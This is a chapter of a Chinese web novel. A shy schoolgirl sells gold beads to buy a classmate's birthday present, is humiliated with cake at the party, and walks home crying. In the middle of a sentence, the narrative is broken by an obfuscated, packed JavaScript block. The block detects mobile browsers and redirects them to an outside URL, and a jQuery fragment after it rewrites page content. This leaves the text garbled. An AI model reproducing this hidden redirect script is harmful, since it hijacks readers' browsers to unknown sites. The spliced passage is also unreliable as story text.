周一,升旗结束,照例有十分钟休息。
时晴在队伍末尾,进教学楼之前,脚步调转,走到右侧的栅栏角,过去心照不宣的见面点,此刻却空空如也。
她沉默地站在这里,直到上课铃响。
第三节是数学课,大腹便便的蔡老师站在讲台上,腰带卡着小蜜蜂,激情澎湃地讲解无比枯燥的知识点。
时晴托着下巴,很努力地记下,可到写题时,又弄不懂了。
同桌是个瘦高白净的女生,叫宋滢,家里开装修公司的,性格很开朗健谈,却从来没有和时晴说过话。
她测试写到一半,笔没油了,怼了怼前座女生的后背,“茉茉,借我一根笔芯~”
前座女生翻了下笔袋,很是抱歉:“没带多余的。”
时晴想了想,手伸进笔袋里,犹豫了几秒,拿出笔芯送到宋滢的卷子上,“给你,我带了。”
宋滢一愣,看到没开封的笔芯,想都没想就推还给她,“不用了,谢谢。”说完,又秒变笑脸,问旁边的同学带没带。
时晴抿唇,默默把笔芯收回笔袋里。
下课了。
女生们三五成群组团去厕所,班里空了大半。时晴心情不好,趴在桌子上,脸埋进臂弯假寐,眼睛刚闭,就感觉有呼吸声靠近。
睁眼,是班里的学霸盛誉。
他身材瘦高,长相清秀,戴了一副黑框眼镜,不仅学习好,体育也好,每次去操场打球都有女生围观。
时晴没围观过,她不喜欢篮球。
盛誉见她醒了,坐在过道那端的空位,黑白分明的眼睛里直直地望向她,“时晴,明天放学有时间吗?”
时晴趴在桌上,瓮声瓮气:“有事?”
盛誉把来回搓的手夹在膝盖中间,刻意压低声音:“明天我生日,晚上有聚会,都是咱班同学,你能不能去?”
“不能。”
“为什么啊!”盛誉身子向前探,和她的脸只有一格尺的距离,“去呗,有蛋糕吃!”
时晴半张脸埋在胳膊里,隐隐现出一丝动摇,“我还要补课,没有时间,提前祝你生日快乐。”
盛誉虽然早就预想到,可亲耳听到这么干脆的拒绝,还是难掩失望,“求你了还不行吗,咱班女生都去,就差你一个算怎么回事啊?”
他的声音引起其他同学的注意,时晴察觉到投射来的目光,不自在地坐直身体,语速极快:“到时候再说。”
盛誉单方面决定:“我就当你答应了!”
心事堆叠在身体里,压得时晴喘不过气,午休回家,边吃饭边想,如果参加生日聚会,应该要送礼物的。
只吃了一半就放下筷子,时雨见她穿校服要走,奇怪地看了眼时间:“这么着急?还能在家休息半小时呢。”
时晴穿好运动鞋,面不改色地说:“我回去刷两张卷子。”
出了小区大门,能看到学校的红色楼顶,她却走去相反的方向,穿过一条拥堵的胡同,进了商圈。
在一家连锁金店门口驻足,思索很久才做决定。
见她走上台阶,门口的店员笑着迎接,“欢迎光临荟萃金店,同学是想买金还是置换?”
时晴有些拘谨,把攥着拳头的手从衣兜里拿出来,缓缓展开,露出躺在掌心的两颗金珠。
她说:“我想卖。”
*
时晴从没参加过生日宴,在她的认知里,生日是关门在家过的,煮一包方便面,再盖两个煎蛋就是全部。
她也只收到过玩偶或者文具这种生日礼物,如今换成给别人过,就算金珠卖了八百多,她也想不出该买什么。
约定的七点在校门口集合,只剩十五分钟了,她徘徊在琳琅满目的货架中间,最后选了个蓝牙音箱。
很复古的绿色,外形像小时候的收音机,得知她是送礼,店主特意用牛皮纸颜色的软布包好,最后用麻绳系了个蝴蝶结。
时晴道谢,手伸进衣兜里,“多少钱?”
“三百二。”
衣兜里捏钱的手顿住,“啊?”
店主以为她没听清,抬高音量重复:“三百二,包装是赠送的。”
时晴的心脏忽地跳到嗓子眼,这是她人生第一次支配如此重大的金额,此刻想的却是:三百多只能买这么一个小东西吗?值吗?盛誉会用吗?
华灯初上,小店门外人来人往,一道粉嫩的倩影经过,又折返,声音带着犹疑的试探:“时晴?”
时晴回头,是前桌茉茉。
茉茉见真的是她,大步跨上台阶,看样子是想进来找她,时晴忽然心慌,所有的纠结全都烟消云散了。
迅速从兜里拿出钱,数出三百二,一手交钱一手交货。
茉茉进来的时候,蓝牙音箱已经装进袋子里,时晴不想引起她注意,僵硬地把拿着袋子的手背在身后。
茉茉似乎不好奇,进来之后,垮着脸一通抱怨:“你怎么不带手机啊?人都到齐了,就差你了。”
小店斜对面的路边,并排停了两辆黑色商务,茉茉拉时晴过去,和靠在车边的盛誉击了下掌,“哦了,人齐!”
时晴被安排在第一辆车上,和盛誉坐一起。
商务车里三排座,闹哄哄的挤了十来个。时晴坐在第二排靠窗,车子行驶之后,感觉缺氧,气闷又心慌。
她借着外面路灯的光,小心地摸索车门,想开一点窗,可她没坐过这么高级的车,就算碰到凸起的按钮,也不敢按下去。
盛誉坐在旁边,目光时不时投过来,看向她脚边的袋子。
快到目的地,他没忍住,身子倾斜靠过去,“时晴,你是不是给我买了礼物?”
时晴差点忘了,拿起袋子递过去,小声说:“生日快乐。”
盛誉明明是主动问的,可真是送他的礼物,又不好意思接,直到同学们有起哄的架势,才迅速收起抱在怀里。
商务车越过废弃的铁轨,直行向南。
车载电台播放时下正火的流行歌,少年少女正值青春,放学之后则像脱缰的野马,一个个五音不全的,扯着脖子跟着唱。
盛誉扶了下眼镜,在哄闹声中,身子向旁边靠了靠,“时晴,谢谢你的礼物。”
时晴紧贴着车窗,“不用谢,我等会还要吃你的蛋糕。”
盛誉弯起唇角,“当然,订的蛋糕是三层的,你可以吃个够。”
宴会订在一家海鲜酒楼的包房里,很大,配备K歌设备,最多能容纳五十人。盛誉的家长提前在吧台押了三万块钱,意思是生日这天,怎么快乐怎么来。
一行人浩浩荡荡涌入水产区点菜,一个男生闹着玩似的指着水箱里游动的大龙虾,“听说这玩意儿好吃!”
盛誉示意点菜员,“来三只。”
男生眼珠子差点瞪掉,“可以啊盛总!”
盛誉微笑看他,“叫爹。”
“操!”男生铿锵有力地骂了句脏话,转头又软了下去,“爹,我还想吃螃蟹扇贝生蚝海参蛋黄焗南瓜。”
盛誉完全不在意他的狮子大开口,看向旁边的点菜员,“他刚才说的这些各要三份。”
菜点差不多了,又去点饮料,盛誉眼神搜寻,在人群边缘发现时晴。
店里热,时晴的外套敞开着,里面穿的灰色毛衣配黑色直筒裤,很简单的搭配,却把她腰细腿长的优点全都凸显出来。
盛誉第N次想:她真好看。
他走过去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276308|198261||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,耳根可疑地泛着红,“你想吃什么?”
时晴拢了拢外套,“都行。”
“那喝的呢?”
“随便。”
这漫不经心的回复让盛誉犯了难,他挠了挠头,话在肚子里转了两圈才出来,“时晴,咱俩初中就在一个班了,你不用和我客气的,最近…”
突然闪现的茉茉打断他的话:“寿星,沈城扛了两箱啤酒进包房。”
盛誉眼皮一跳,“不行,不能喝酒!”
茉茉瞥了时晴一眼,突然抓住盛誉的手,“你光在这和我说有什么用啊,他们可能都打开了,赶紧去管管吧~”
盛誉压力山大,他提前和家长保证了,今晚怎么吃喝玩都行,就是不能沾酒,这帮活爹,怎么一眼顾不到就出事儿。
他火急火燎跑回包房,从“虎口”里夺下几瓶已经打开的酒,然后招呼服务员进来,把打开的和没打开的一并拿走。
全都处理好才想起时晴,她正坐在靠窗那桌的角落,左边是宋滢,右边是茉茉。
时晴不知道为什么她们两个要把她夹在中间,只知道自己很后悔来参加生日宴,她无所适从地坐在这里,在心里默默数着时间。
灯忽然暗了。
音响自动播放生日歌的曲调。
盛誉被几个起哄的男生架起,站在椅子上,像个国王一样,注视着服务员推进来的三层蛋糕。
时晴也下意识坐直,她看到蛋糕最上面一层,摆着个身披斗篷的王子,双手举着横幅,横幅上面写:盛誉生日快乐!
她想,这王子能吃吗?
应该可以,听说蛋糕上的摆设都是巧克力做的,摸起来很硬,但入口即化,是那种牛奶般丝滑的高级味道。
时晴舔了舔嘴唇。
盛誉在同学的簇拥下完成许愿和吹蜡烛仪式,然后从椅子上跳下来,身子刚稳,甜腻的奶味就冲过来,糊了寿星一整脸。
慌神的功夫,包房里已经乱成一锅粥,宋滢和茉茉对了下眼神,端起最中间的那层,直奔时晴去。
灯没开,黑漆漆的,时晴还不知道怎么回事,衣服上就被扣了一坨,她慌乱躲避,可蛋糕就像长了眼睛,紧追不舍。
不管走到哪都有人抹,不仅衣服和裤子,连头发上都沾了奶油。
她贴着墙走,终于摸到门把手逃了出去,外面是大厅散台,十几桌食客的目光同时投到她的身上,无一不讶异。
时晴视线模糊,只能低着头,循着记忆的路线进了洗手间。
镜子里,是一张狼狈至极的脸。
简单冲洗后,她开始清理衣服,为了参加生日宴,特意穿了最喜欢的一套,也是最贵的一套,此刻却像被泼了彩色油漆,看不出原本的样子。
她突然落泪。
什么狗屁生日宴。
时晴不告而别,一个人出了店,初冬夜晚,街道行人寥寥,她擦干眼泪,一步一步走回城北。
到家已经八点多了,她直接进了洗手间,时雨刚听到门声,电话也响了,是班主任打来的。
接起后,对面问:“你好,时晴回家了吗?”
时雨走出卧室,看到摆在门口的运动鞋,回复:“回家了,刚到家。”
对面松了口气,“到家就好。”
时雨不明所以,电话挂断后,去敲洗手间的门,“怎么刚回来就上厕所啊,是不是吃坏肚子了?”
一门之隔,时晴光脚蹲在地上,只穿了内衣内裤,她用力把沾满奶油的衣裤按在水里,像是要溺死决定去赴宴的自己。
“没事。”
时雨耳朵贴着门缝,“真没事吗?”
时晴胡乱抹掉眼泪,“都说没事了,到底要问几遍!”